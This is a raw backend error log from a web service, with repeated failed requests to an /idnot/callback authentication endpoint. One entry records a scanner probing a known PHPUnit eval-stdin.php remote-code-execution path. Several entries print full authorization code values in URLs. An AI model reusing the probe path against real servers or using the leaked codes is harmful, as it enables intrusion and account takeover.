AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637585095_ocz55d83a' } ❌ [ERROR] 2025-09-23T14:26:25.096Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637585095_ocz55d83a', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:32:56.266Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637976265_kvskletff' } ❌ [ERROR] 2025-09-23T14:32:56.267Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758637976265_kvskletff', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T14:33:20.980Z HTTP GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 5, request: { ip: '::ffff:92.243.24.12', method: 'GET', url: '/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php', userAgent: 'Custom-AsyncHttpClient' }, requestId: 'req_1758638000975_9b5gspjnj', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:38:36.650Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758638316649_rjht420n8' } ❌ [ERROR] 2025-09-23T14:38:36.653Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758638316649_rjht420n8', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:39:30.446Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758638370445_mda0q08wl' } ❌ [ERROR] 2025-09-23T14:39:30.447Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758638370445_mda0q08wl', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:46:04.959Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758638764954_mcqiuwer8' } ❌ [ERROR] 2025-09-23T14:46:04.962Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 7, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758638764954_mcqiuwer8', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:51:46.241Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758639106240_d4zn972jj' } ❌ [ERROR] 2025-09-23T14:51:46.242Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758639106240_d4zn972jj', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:52:44.250Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639164249_rh34r7cd0' } ❌ [ERROR] 2025-09-23T14:52:44.251Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639164249_rh34r7cd0', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T14:59:23.274Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639563273_i16yld1f8' } ❌ [ERROR] 2025-09-23T14:59:23.275Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639563273_i16yld1f8', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:06:02.161Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639962161_747vm04ud' } ❌ [ERROR] 2025-09-23T15:06:02.162Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758639962161_747vm04ud', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:12:45.143Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758640365142_xdgmaa2vl' } ❌ [ERROR] 2025-09-23T15:12:45.143Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758640365142_xdgmaa2vl', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:19:29.598Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758640769597_l52nc9332' } ❌ [ERROR] 2025-09-23T15:19:29.599Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758640769597_l52nc9332', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:26:13.921Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641173920_igoyzua5x' } ❌ [ERROR] 2025-09-23T15:26:13.922Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641173920_igoyzua5x', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T15:29:28.154Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758641368153_63ikx6fkn', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T15:32:44.521Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758641564520_tyglij9cy', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:33:04.841Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641584841_q5ljtfdi7' } ❌ [ERROR] 2025-09-23T15:33:04.842Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641584841_q5ljtfdi7', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:39:54.827Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641994826_3c7hlvppz' } ❌ [ERROR] 2025-09-23T15:39:54.827Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758641994826_3c7hlvppz', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '130.131.161.148', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:43:32.762Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758642212761_t4zvmh2yx' } ❌ [ERROR] 2025-09-23T15:43:32.762Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758642212761_t4zvmh2yx', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T15:46:46.775Z Application error occurred 